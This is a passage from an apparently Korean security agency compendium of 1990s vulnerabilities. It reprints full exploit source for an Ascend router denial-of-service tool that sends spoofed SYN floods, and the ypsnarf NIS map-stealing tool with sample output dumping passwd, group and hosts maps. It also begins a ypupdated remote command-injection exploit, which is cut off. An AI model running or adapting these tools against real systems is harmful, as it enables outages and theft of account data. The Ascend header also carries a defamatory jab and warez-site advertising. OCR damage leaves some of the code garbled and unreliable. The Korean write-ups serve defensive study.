- 패킷 필터링을 사용하여 외부에서 들어오는 패킷중에서 소스 IP의 주소가 내부망의 주소

를 가진 모든 패킷을 차단한다. 또한 내부에서 외부로 나가는 패킷중에서 소스 IP의 주소

가 내부망의 주소가 아닌 모든 패킷을 차단한다.

- 그러나 내부 사용자가 내부 호스트 대해 공격하는 것을 패킷 필터링으로 막을 수 없다.

Page 495: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Sourcel

관련소스

/*

The Posse Brings you:

The Linux Ascend Kill Program!

Kill your local LSP (or even non-local)

31337313373133731337313373133731337313373133731337313373133731337313373

1337

1

3

3

1

3 Because Ascend has such a strong programming depar tment that

would 3

7 never under any circumstances release a version of their code

which 3

3 contained a

bog.1

3

3 Well. Ascend did it again. Those pesky non zero length tcp

offset's 1

3 do it everytime! Are those fault lights available in christmas

colors 3

7 in time for the season?

hohoho..

3

7

1 BTW, if anyone has any pictures of MSN pops, please post them

to 3

3 someplace public so we can alll share in the season

spirit.

3

3

7 - The Posse is

Page 496: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

back!

3

7

1 greetz to : alpha bits, the grave digger, and fast

freddy. 3

3

1

3 Goto our eleet ftp

sitez:

7

3

3

7

1 The Dark Dungeon 198.34.1xx.xxx 600 gigz

online! 3

3 Strobe Room 34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K

text 1

3

3

73133731337313373133731337313373133731337313373133731337313373133731337

3133

3

7

1 2600.com is run off vnetmax.villagenet.com

(205.136.35.3) 3

3 Keep your support of 2600.help Emmanuel play with his little

boys 1

3

3

73133731337313373133731337313373133731337313373133731337313373133731337

3133

3

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

Page 497: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_tcp.h>

#include <netinet/protocols.h>

#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *th, int len,

unsigned long saddr, unsigned long daddr)

{

unsigned long sum;

__asm__("

addl %%ecx, %%ebx

addl %%edx, %%ebx

addl $0, %%ebx

"

: "=b"(sum): "0"(daddr), "c"(saddr), "d"((ntohs(len)<< 16) +

IPPROTO_TCP*256)

: "bx", "cx", "dx");

__asm__("

movl %%ecx, %%edx

cld

cmpl $32, %%ecx

jb 2f

shrl $5, %%ecx

clc

lodsl

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

lodsl

Page 498: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

lodsl

adcl %%eax, %%ebx

loop 1b

adcl $0, %%ebx

movl %%edx, %%ecx

2: andl $28, %%ecx

je 4f

shrl $2, %%ecx

clc

3: lodsl

adcl %%eax, %%ebx

loop 3b

adcl $0, %%ebx

4: movl $0, %%eax

testw $2, %%dx

je 5f

lodsw

addl %%eax, %%ebx

adcl $0, %%ebx

movw $0, %%ax

5: text $1, %%edx

je 6f

lodsb

addl %%eax, %%ebx

adcl $0, %%ebx

6: movw %%ebx, %%eax

shrl $16, %%eax

addl %%eax, %%ebx

adcl $0, %%bx

"

: "=b"(sum)

: "0"(sum), "c"(len), "s"(th)

: "ax", "bx", "cx", "bx", "si");

return((~sum) & 0xffff);

}

Page 499: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr) )

#define tcp_offset ( sizeof(struct iphdr))

#define err(x) { fprintf(stderr, x); exit(1); }

#define errors(x, y) { fprintf(stderr, x, y); exit(1);}

struct iphdr temp_ip;

int temp_socket = 0;

u_short

ip_checksum (u_short * buf, int nwords)

{

unsigned long sum;

for (sum = 0; nwords > 0; nwords--)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

void fixhost (struct sockaddr_in *addr, char *hostname)

{

struct sockaddr_in *address;

struct hostent *host;

address = (struct sockaddr_in *) addr;

(void) bzero ((char *) address, sizeof (struct sockaddr_in));

address->sin_family = AF_INET;

address->sin_addr.s_addr = inet_addr (hostname);

if ((int) address->sin_addr.s_addr == -1)

{

host = gethostbyname (hostname);

if (host)

{

bcopy (host->h_addr, (char *) &address->sin_addr,

host->h_length);

}

else

{

Page 500: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

puts ("Couldn't resolve address!!!");

exit (-1);

}

}

}

unsigned int

lookup (host)

char *host;

{

unsigned int addr;

struct hostent *he;

addr = inet_addr (host);

if (addr == -1)

{

he = gethostbyname (host);

if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list ==

NULL))

return 0;

bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));

}

return (addr);

}

unsigned shortlookup_port (p)

char *p;

{

int i;

struct servent *s;

if ((i = atoi (p)) ==0)

{

if ((s = getservbyname (p, "tcp")) == NULL)

errors ("Unknown port %s₩n", p);

i=ntohs (s->s_port);

}

return ((unsigned short) i);

}

Page 501: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

void

spoof_packet (struct sockaddr_in local, int fromport, ₩

struct sockaddr_in remote, int toport, ulong sequence, ₩

int sock, u_char theflag, ulong acknum, ₩

char *packdata, int datalen)

{

char *packet;

int tempint;

if (datalen > 0)

datalen++;

packet = (char *) malloc (psize + datalen);

tempint = toport;

toport = fromport;

fromport = tempint;

{

struct tcphdr *fake_tcp;

fake_tcp = (struct tcphdr *) (packet + tcp_offset);

fake_tcp->th_dport = htons (fromport);

fake_tcp->th_sport = htons (toport);

fake_tcp->th_flags = theflag;

fake_tcp->th_seq = random ();

fake_tcp->th_ack = random ();

/* this is what really matters, however we randomize everything else

to prevent simple rule based filters */

fake_tcp->th_off = random ();

fake_tcp->th_win = random ();

fake_tcp->th_urp = random ();

}

if (datalen > 0)

{

char *tempbuf;

tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));

for (tempint = 0; tempint < datalen - 1; tempint++)

{

*tempbuf = *packdata;

*tempbuf++;

*packdata++;

}

Page 502: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*tempbuf = '₩r';

}

{

struct iphdr *real_ip;

real_ip = (struct iphdr *) packet;

real_ip->version = 4;

real_ip->ihl =5

real_ip->tot_len = htons (psize + datalen);

real_ip->tos = 0;

real_ip->ttl = 64;

real_ip->protocol = 6;

real_ip->check =0;

real_ip->id = 10786;

real_ip->frag_off = 0;

bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof

(real_if->daddr));

bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof

(real_ip->daddr));

temp_ip.saddr = htonl (ntohl (real_ip->daddr));

real_ip.daddr = htonl (ntohl (ntohl_ip->saddr));

real_ip.saddr = temp_ip.saddr;

real_ip.check = ip_checksum ((u_short *) packet, sizeof (xtruct

iphdr) >> 1);

{

struct tcphdr *another_tcp;

another_tcp = (struct tcphdr *)(packet + tcp_offset);

another_tcp ->th_sum = 0;

another_tcp ->th_sum = computh_tcp_checksum (another_tcp, sizeof

(struct tcphdr) + datalen,

real_ip->saddr, real_ip->daddr);

}

}

{

int result;

sock = (int) temp_socket;

result = sendto (sock, packet, psize + datalen, 0,

(struct sockaddr *) &remote, sizeof (remote));

}

Page 503: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

free (packet);

}

void

main (argc, argv)

int argc;

char **argv;

{

unsigned int daddr;

unsigned short dport;

struct sockaddr_in sin;

int s, I;

struct sockaddr_in local, remote;

u_long start_seq = 4935835 + getpid ();

if (argc !=3)

errors ("Usage: %s <dest_addr> <dest_port>₩n₩nDest port of 23 for

Ascend units.₩n",

argv[0]);

if((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)

err ("Unable to open raw socket.₩n");

if((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)

err ("Unable to open raw socket.₩n");

if(!(daddr = lookup (argv[1])))

err ("Unable to lookup destination address.₩n");

dport = lookup_port (argv[2]);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = daddr;

sin.sin_port = dport;

fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);

fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);

/* 500 seems to be enough to kill it */

for (i = 0; i<500; i++)

{

start_seq++;

local.sin_addr.s_addr = random ();

spoof_packet (local, random (), remote, dport, start_seq, (int) s,

Page 504: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

TH_SYN , 0, NULL, 0);

}

}

Page 505: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypsnarf-*-해킹도구

ypsnarf-*-hack_tooll

Page 506: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypsnarf-*-hack_tooll

ypsnarf-*-해킹도구

문서번호

KH98-046

문서제목

ypsnarf-*-해킹도구 (ypsnarf-*-hack_tool)

관련 응용프로그램

ypsnarf.c

관련 운영체제

모든 운영체제

취약점 분석

취약점 이해

- NIS 도메인이름만 제공하면 NIS 서버로부터 NIS 맵(map)을 얻을 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- NIS 서버를 bootparamd 서비스를 이용하여 추측한 후 NIS client로 위장하여 NIS 도메

인 이름을 알아낸 후 NIS 서버로부터 NIS map을 얻어낸다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

kisa#ypsnarf kisa kisa

kisanis

kisa#

kisa# ypsnarf kisa kisanis maplist

netmasks.byaddrnetid.byname

Page 507: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(중략)

passwd.byname

kisa#

.

kisa# ypsnarf kisa kisanis netmasks.byaddr

255.255.255.0

255.255.255.0

.

.

.

(중략)

.

255.255.255.0

ypsnarf kisa kisanis publickdy.byname

c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607:7675cd9b8753b5db09dabf12da

759c2bd1331c927bb32

2861fffb54be13f55e9

kisa#

kisa# ypsnarf kisa kisanis mail.aliases

postmaster

root

/dev/null

@

kisa#

kisa# ypsnarf kisa kisanis protocols.byname

igmp 2 IGMP

icmp 1 ICMP

.

.

(중략)

Page 508: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

.

ip 0 IP

kisa#

kisa# ypsnarf kisa kisanis services.byname

pcserver 600/tcp # ECD Intefrated PC board srvr

new-rwho 550/udp new-who # experimental

talk 517/udp

.

(중략)

.

discard 9/udp sink null

kisa#

kisa# ypsnarf kisa kisanis rpc.bynumber

keyserv 100029 keyserver

ypupdated 100028 ypupdate

walld 100008 rwall shutdown

.

.

(중략)

.

ypbind 100007

kisa#

kisa# ypsnarf kisa kisanis networks.byaddr

Sun-ether 192.9.200 Sunether ethernet localnet

loopback 127

Sun-oldether 125 Sunoldether

ucb-ether 46 ucbether

arpanet 10 arpa

kisa#

kisa# ypsnarf kisa kisanis hosts.byaddr

203.227.32.15 kisa loghost

127.0.0.1 localhost

Page 509: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kisa#

kisa# ypsnarf kisa kisanis group.bygid

nogroup:*:65534:

other:*:20:

.

.

(중략)

.

wheel:*0:

kisa#

kisa# ypsnarf kisa kisanis passwd.byuid

nobody:*:65534:65534::/:

audit:*:9:9::/etc/security/audit:/bin/csh

.

.

(중략)

.

daemon:*:1:1::/:

kisa#

kisa# ypsnarf kisa kisanis ypservers

kisa

kisa#

해킹흔적 확인방법

- 모니터링 도구로 탐지한다.

대응방법

패치 설치

- NIS를 사용하는 대신 NIS+ 나 Kerberos 최신버전을 설치, 운영한다.

Page 510: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

임시 조치

- NIS를 사용하려면 다음 문서를 참조하여 조치한다.

http://www.eng.auburn.edu/~doug/nis.html

Page 511: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Sourcel

관련소스

/*

* THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY

KNOWN IN

* THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE

SINCE

* IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO

NOT

* REDISTRIBUTE THIS PROGRAM TO ANJYONE YOU DO NOT TRUST

COMPLETELY.

*

* ypsnarf - exercise security holes in yp/nis.

*

* Based on code from Dan Farmer ([email protected]) and Casper Dik

* ([email protected]).

*

* Usage;

* ypsnarf server client

* - to obtain the yp domain name

* ypsnarf server domain mapname

* - to obtain a copy of a yp map

* ypsnarf server domain amplist

* - to obtain a list of yp maps

*

* In the first case, we lie and pretend to be the host "client", and send

* a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this

* to work. "server" must be running rpc.bootparame. and "client" must be a

* diskless client of (well, it must boot from) "server".

*

* In the second case, we send a YPPROC_DOMAIN request to the host "server",

* asking if it serves domain "domain". If so, we send YPPROC_FIRST and

* YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map

* "mapname". Note that you must specify the full yp map name, you cannot

* use the shorthand names provided by "ypcat".

*

Page 512: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* In the third case, the special map name "maplist" tells ypsnarf to send

* a YPPROC_MAPLIST request to the server and get the list of maps in domain

* "domain", instead of getting the contents of a map. If the server has a

* map called "maplist" you can't get it. Oh well.

*

* Since the callrpc() routine does not make any provision for timeouts, we

* artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the

* initial requests, and YPSNARF_TIMEOUT2 seconds dur ing a map transfer.

*

* This program uses UDP packets, which means there's a chance that things

* will get dropped on the floor; it's not a reliable stream like TCP. In

* practice though, this doesn't seem to be a problem.

*

* To compile:

* cc -o ypsnarf ypsnarf.c -lrpcsvc

*

* David A. Curry

* Purdue University

* Engineering Computer Network

* Electrical Engineering Building

* West Lafayette, IN 47907

* [email protected]

* January, 1991

*/

#include <sys/param.h>

#include <sys/socket.h>

#include <net inet/in.h>

#include <arpa/inet.h>

#include <rpc/rpc.h>

#include <rpcsvc/bootparam.h>

#include <rpcsvc/yp_prot.h>

#include <rpc/pmap_clnt.h>

#include <sys/time.h>

#include <signal.h>

#include <string.h>

#include <netdb.h>

#include <stdio.h>

Page 513: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */

#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */

#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer*/

char *pname; /* program name */

main(argc, argv)

char **argv;

int argc;

{

char *server, *client, *domain, *mapname;

pname = *argv;

/*

* Process arguments. This is less than robust, but then

* hey, you're supposed to know what you're doing.

*/

switch (argc) {

case 3:

server = *++argv;

client = *++argv;

get_yp_domain(server, client);

exit(0);

case 4:

server = *++argv;

domain = *++argv;

mapname = *++argv;

if (strcmp(mapname, "maplist") == 0)

get_yp_maplist(server, domain);

else

get_yp_map(server, domain, mapname);

exit(0);

default:

fprintf(stderr, "Usage: %s server client -", pname);

fprintf(stderr, "to obtain yp domain name₩n");

fprintf(stderr, " %s server domain mapname -", pname);

Page 514: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

fprintf(stderr, "to obtain contents of yp map₩n");

exit(1);

}

}

/*

* get_yp_domain - figure out the yp domain used between server and client.

*/

get_yp_domain(server, client)

char *server, *client;

{

long hostip;

struct hostent *hp;

bp_whoami_arg w_arg;

bp_whoami_res w_res;

extern void timeout();

enum clnt_stat errcode;

/*

* just a sanity check, here.

*/

if ((hp = gethostbyname(server)) == NULL) {

fprintf(stderr, "%s: %s: unknown host.₩n", pname, server);

exit(1);

}

/*

* Allow the client to be either an interner address or a

* host name. Copy in the internet address.

*/

if ((hostip = inet_addr(client)) == -1) {

if ((hp = gethostbyname(client)) == NULL) {

fprintf(stderr, "%s: %s: unknown host. ₩n", pname,

client);

exit(1);

}

bcopy(hp->h_addr_list[0],

(caddr_t) &w_arg.client_address.bp_address.ip_addr,

hp->h_length);

}

Page 515: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

else {

bcopy((caddr_t) &hostip,

(caddr_t) &w_arg.client_address.bp_address.ip_addr,

sizeof(ip_addr_t));

}

w_arg.client_address.address_type = IP_ADDR_TYPE;

bzero((caddr_t) &w_res. sizeof(bp_whoami_res));

/*

* Send a BOOTPARAMPROC_WHOAMI request to the server. This will

* give us the yp domain in the response. IFF client boots from

* the server.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAWVERS,

BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,

xdr_bp_whoami_res, &w_res);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcoce);

/*

* Print the domain name.

*/

printf("%,*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);

/*

* The maximum domain name length is 255 characters, but the

* rpc.bootparamd program truncates anything over 32 chars.

*/

if (strlen(w_res.domain_name) >=BOOTPARAM_MAXDOMAINLEN)

printf("(truncated?)");

/*

* Put out the client name, if they didn't know it.

*/

Page 516: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (hostip != -1)

printf("(client name = %s)", w_res.client_name);

putchar('₩n');

}

/*

* get_yp_map - get the yp map "mapname" from yp domain "domain" from server.

*/

get_yp_map(server, domain, mapname)

char *server, *domain, *mapname;

{

char *reqp;

bool_t yesno;

u_long calltype;

bool (*xdr_proc)();

extern void timeout();

enum clnt_stat errcode;

struct ypreq_key keyreq;

struct ypreq_nokey nokeyreq;

struct ypsreq_key_val answer;

/*

* This code isn't needed; the next call will give the same

* error message if there's no yp server there.

*/

#ifdef not_necessary

/*

* "Ping" the yp server and see if it's there.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,

xdr_void, 0);

alarm(0);

if (errcode != RPC_SUCCESS)

Page 517: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

print_rpc_err(errcode);

#endif

/*

* Figure out whether server serves the yp domain we want.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,

xdr_wrapstring, (caddr_t) &domain, xdr_bool,

(caddr_t) &yesno);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Nope...

*/

if (yesno == FALSE) {

fprintf(

stderr, "%s: %s does not serve domain %s.₩n", pname,

server, domain);

exit(1);

}

/*

* Now we just read entry after entry... The first entry we

* get with a nokey request.

*/

keyreq.domain = nokeyreq.domain = domain;

keyreq.map = nokeyreq.map = mapname;

reqp = (caddr_t) &nokeyreq;

keyreq.keydat.dptr = NULL;

answer.status = TRUE;

calltype = YPPROC_FIRST;

xdr_proc = xdr_ypreq_nokey;

Page 518: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while (answer.status == TRUE) {

bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT2);

errcode = callrpc(host, YPPROG, YPVERS, calltype, xdr_proc,

reqp, xdr_ypresp_key_val, &answer);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Got something; print it.

*/

if (answer.status == TRUE) {

printf("%.*s₩n, answer.valdat.dsize, answer.valdat.dptr");

}

/*

* Now we're requesting the next item, so have to

* send back the current key.

*/

calltype = YPPROC_NEXT;

reqp = (caddr_t) &keyreq;

xdr_proc = xdr_ypreq_key;

if (keyreq.keydat.dptr)

free(keyreq.keydat.dptr);

keyreq.keydat = answer.keydat;

if (answer.valdat.dptr)

free(answer.valdat.dptr);

}

}

/*

* get_yp_maplist - get the yp map list for yp domain "domain" from server.

*/

Page 519: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

get_yp_maplist(server, domain)

char *server, *domain;

{

bool_t yesno;

extern void timeout();

struct ypmaplist *mpl;

enum clnt_stat errcode;

struct ypresp_maplist maplist;

/*

* This code isn't needed; the next call will give the same

* error message if there's no yp server there.

*/

#ifdef not_necessary

/*

* "Ping" the yp server and see if it's there.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,

xdr_void, 0);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

#endif

/*

* Figure out whether server serves the yp domain we want.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,

xdr_wrapstring, (caddr_t) &domain, xdr_bool,

(caddr_t) &yesno);

alarm(0);

Page 520: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Nope...

*/

if (yesno == FALSE) {

fprintf(stderr, "%s: %s does not serve domain %s.₩n", pname,

server, domain);

exit(1);

}

maplist.list = (struct ypmaplist *) NULL;

/*

* Now ask for the list.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,

xdr_wrapstring, (caddr_t) &domain,

xdr_ypresp_maplist, &maplist);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

if (maplist.status != YP_TRUE) {

fprintf(stderr, "%.*s: cannot get map list: %s₩n, pname,

yperr_string(ypprot_err(maplist.status)));

exit(1);

}

/*

* Print out the list.

*/

for (mpl = maplist.list; mpl != NULL;mpl = mpl->ypml_next)

printf("%s₩n", mpl->ypml_name);

}

Page 521: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/*

* print_rpc_err - print an rpc error and exit.

*/

print_rpc_err(errcode)

enum clnt_stat errcode;

{

fprintf(stderr, "%s: %s₩n", pname, clnt_sperrno(errcode))

exit(1);

}

/*

*timeout - print a timeout and exit.

*/

void timeout()

{

fprintf(stderr, "%s: RPC request (callrpc) timed out.₩n", pname);

exit(1);

}

Page 522: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypupdated-*-구성ypupdated-*-config

Page 523: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ypupdated-*-config

ypupdated-*-구성

문서번호

KH98-047

문서제목

ypupdated-*-구성*(ypupdated-*-config)

관련 응용프로그램

ypupdated

관련 운영체제

- HP HP-UX 버전 10.01, 10.10, 10.20 (10.01 이전 버전은 해당 문제점이 없음)

- IBM AIX 3.2, 4.1

- NEC EWS-UX/V(Re14.0) R3.x - R6.x

EWS-UX/V(Re14.2) R7.x - R10.x

EWS-UX/V(Re14.2MP) R10.x

UP-UX/V R3.x - R4.x

UP-UX/V(Re14.2MP) R5.x - R7.x

UX/4800 R11.x

SGI IRIX 3.x, 4.x, 5.0.x, 5.2, 5.3, 6.0, 6.0.1

Sun SunOS 4.1.3 Solairs 2.4

취약점 분석

취약점 이해

- ypupdated가 ypmap의 수정요청을 받을 경우, Secure RPC를 이용해 클라이언트를 검증

한 후 해당 변경 작업을 수행한다. 그러나 클라이언트가 해당 map을 변경시킬 권한이 있는

지는 확인하지 않으며 권한이 없는 클라이언트라 하더라도 해당 변경사항을 적용시키기 위

해 make 프로그램 수행시켜 해당 작업을 수행한다. 이때 make 프로그램을 수행시키는 과

정에 문제가 존재하며 이를 이용하면 임의의 명령을 수행시킬 수 있게된다.

취약점 확인 방법

해킹수법분석

Page 524: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹수법 이해

- ypupdated가 ypmap의 수정요청을 받을 경우, 쉘을 실행시켜 해당 작업을 수행시키는데

이때 제공하는 문자열에 특수문자와 임의의 명령어를 포함시키는 방법으로 외부에서

ypupdated 권한의 쉘을 이용하여 임의의 명령을 실행시킬 수 있다.

해킹소스프로그램

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <stdio.h>

#include <stdlib.h>

#include <strings.h>

#include <string.h>

#include <time.h>

#include <netinet/in.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <signal.h>

#include <ctype.h>

#include <errno.h>

#include <fcntl.h>

#include <rpc/rpc.h>

#include "ypupdate_prot.h"

char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607₩

:7675ca9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9";

int main(argc, argv)

int argc;

char **argv;

{

ypupdate_args stam;

CLIENT *yope;

int ursuck=RPC_ANYSOCK;

struct hostent *ham;

unsigned long othello;

struct sockaddr_in *us, them;

struct timeval fore;

